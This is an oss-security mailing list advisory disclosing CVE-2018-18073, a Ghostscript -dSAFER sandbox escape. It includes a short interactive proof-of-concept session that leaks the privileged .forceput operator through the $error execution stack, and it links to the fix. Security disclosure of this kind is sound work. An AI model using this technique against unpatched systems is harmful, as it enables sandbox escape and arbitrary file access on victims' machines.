Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 10 Oct 2018 11:01:47 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: ghostscript: saved execution stacks can leak operator arrays (CVE-2018-18073)

Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1690>
is another (different from CVE-2018-17961) -dSAFER sandbox escape.

There are a whole bunch of different stacks in postscript, there's the
operand stack, the dict stack, the execution stack, and so on.

When the error handler is invoked in postscript, part of the execution
context is passed to the handler so that it can examine what went wrong.
That context is called `$error`, and could have included parts of
executeonly routines, and therefore could leak references to system
operators.

$ gs -dSAFER -sDEVICE=ppmraw
GS>{ null .setglobal } stopped clear
GS>$error /estack get ==
[...  {-dict- /FontDirectory --.currentglobal-- {-dict-}
{/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}]

Notice the .forceput in there...

GS>$error /estack get 29 get ==
{-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory
--.systemvar--} --ifelse-- --.forceput-- --pop--}
GS>$error /estack get 29 get 6 get ==
--.forceput--
GS>

Once you have a reference to forceput, you can do anything you like, see
the exploit for CVE-2018-18073 as an example of abusing forceput to get
arbitrary filesystem access.

The fix is public now, this is the commit to fix it:

http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=34cc326eb2c5695833361887fe0b32e8d987741c

This was ghostscript bug 699927.

Thanks, Tavis.

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.